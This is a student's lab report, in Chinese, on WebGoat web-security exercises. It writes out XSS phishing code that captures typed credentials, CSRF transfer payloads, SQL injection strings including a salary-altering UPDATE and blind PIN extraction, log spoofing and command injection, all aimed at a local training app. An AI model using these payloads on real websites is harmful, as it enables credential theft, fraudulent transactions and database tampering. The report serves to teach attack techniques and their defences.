20155304 《网络对抗》Exp9 web安全基础实践 20155304 《网络对抗》Exp9 web安全基础实践

实验后回答问题

(1)SQL注入攻击原理,如何防御

攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

防御:利用输入规则限制进行防御,不允许特殊字符输入。不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

(2)XSS攻击的原理,如何防御

攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

防御:类似于saol注入的防御,永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

(3)CSRF攻击原理,如何防御

攻击原理:(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

防御:通过 referer、token 或者 验证码 来检测用户提交。

尽量不要在页面的链接中暴露用户隐私信息。

对于用户修改删除等操作最好都使用post 操作 。

避免全站通用的cookie,严格设置cookie的域。

实验内容

WebGoat

在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

当页面成功停在下图位置时,最小化终端窗口:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码即可登陆成功。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

XSS攻击

1、Phishing with XSS 跨站脚本钓鱼攻击

跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击

先编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

然后在webgoat找到xss攻击打开Phishing with XSS,
将这段代码输入到输入框中,点击search出现如下登录框:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

在登录框中输入用户名、密码:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

点击登录后跳出弹框,其中包含用户输入的用户名、密码。攻击成功!

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

Stored XSS Attacks 存储型XSS攻击

打开Stored XSS Attacks

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

在Message框中输入

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

点击提交后弹出对话框,攻击成功!
20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

Reflected XSS Attacks 反射型XSS攻击

打开xss的第三个攻击,在code框中输入<script>alert("20155304");</script>

点击Purchase出现对话框,攻击成功!

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

CSRF攻击

1、Cross Site Request Forgery(CSRF)

查看页面右边Parameters中的src和menu值。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

在title框中输入学号,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

提交后生成一个链接20155304:点击学号名即可查看用户操作的信息,攻击成功

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

2、CSRF Prompt By-Pass

查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

点击标题链接,攻击成功

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

SQL注入攻击

1、Numeric SQL Injection

我们看到这一题的选择框也是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

打开BurpSuite:在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5304,点击确认后会在Options下增加一行,勾选新形成的这一行:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

点击浏览器右上方的更多选项卡,选择preference

在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…

在弹出的窗口中设置代理服务器和端口(要与BurpSuite中绑定的一致)

设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

右键选择send to repeater

进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为

SELECT * FROM weather_data WHERE station = 101 or 1=1

回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

2、Command Injection

我们看到这一题的选择框是一个下拉框,在当前网页上无法修改,于是,我们使用BurpSuite抓包修改

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

在题目页面点击view,然后进入BurpSuite中,在repeater页标签的Params选项中先运行一次,查看数据都提交的位置:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

然后修改HelpFile的值为,其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另外一条语句的意思,点击GO发现执行了ifconfig语句

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

回到题目发现显示破解成功。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

3、Log Spoofing

在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

4、LAB:SQL Injection(Stage 1:String SQL Injection)

使用一个新的工具firebug,可以显示当前网页的源码并直接在其中修改。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

使用用户Neville进行登录,在密码栏中输入' or 1=1 --进行SQL注入,本以为会成功,但是登录失败,查看源码发现输入框对输入的字符长度进行了限制,最多允许输入8个字符。

在查看源码的时候怎么找到限制字符长度的语句在哪里呢?在查看源码的窗口的顶部左边有一个鼠标一样的标志,点击它,再点击题目页面的password输入框的位置,源码部分就会自动跳转到关于密码的部分

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

用上一题的方法成功登录

查看网页源码,选择查看viewprofile部分的代码,这时候可以看到一行用员工id作为索引来传送数据的代码,双击这行代码就可以出现value的值,因为我们想要用Larry的账户浏览老板信息,而大多数企业公司里老板的工资应该是最高的,所以我们就把其中的value值由101改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个让我们看到

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

电话地址电邮工资卡等等信息一览无余。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

6、String SQL Injection

在输入框中输入Smith进行尝试,观察下方形成的输入语句,可以看到输入的Smith在两个单引号之间:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

构造永真式'or 1='1,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号,使这条语句被强行拆分成为两条语句。

这样一来,攻击就成功了,可以显示所有用户的信息了。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

7、Database Backdoors

先输入示例101进行尝试,得到了该用户的信息。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

观察发现输入的语句不进行验证,于是我们输入语句:101; update employee set salary=666666成功将该用户的工资变成666666,攻击成功:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

8、Blind Numeric SQL Injection

尝试题目中给出的例子,在输入框输入101,运行后发现返回Account number is valid,说明这个数是合法的!

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

构造输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 数值 );
,根据返回的语句是否合法判断pin值的范围。

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

这里使用二分法,输入2364后破解成功:

20155304 《网络对抗》Exp9 web安全基础实践
20155304 《网络对抗》Exp9 web安全基础实践

实验总结与体会

本次实验也是最后一个实验,也是较为繁琐的一个实验。做了这么多的网络攻防实验,真的收获很多,在实验中我们能了解到实际效果的危险、漏洞、后门、病毒,网络安全真的需要我们重视起来,同时也增强了我的安全防范意识。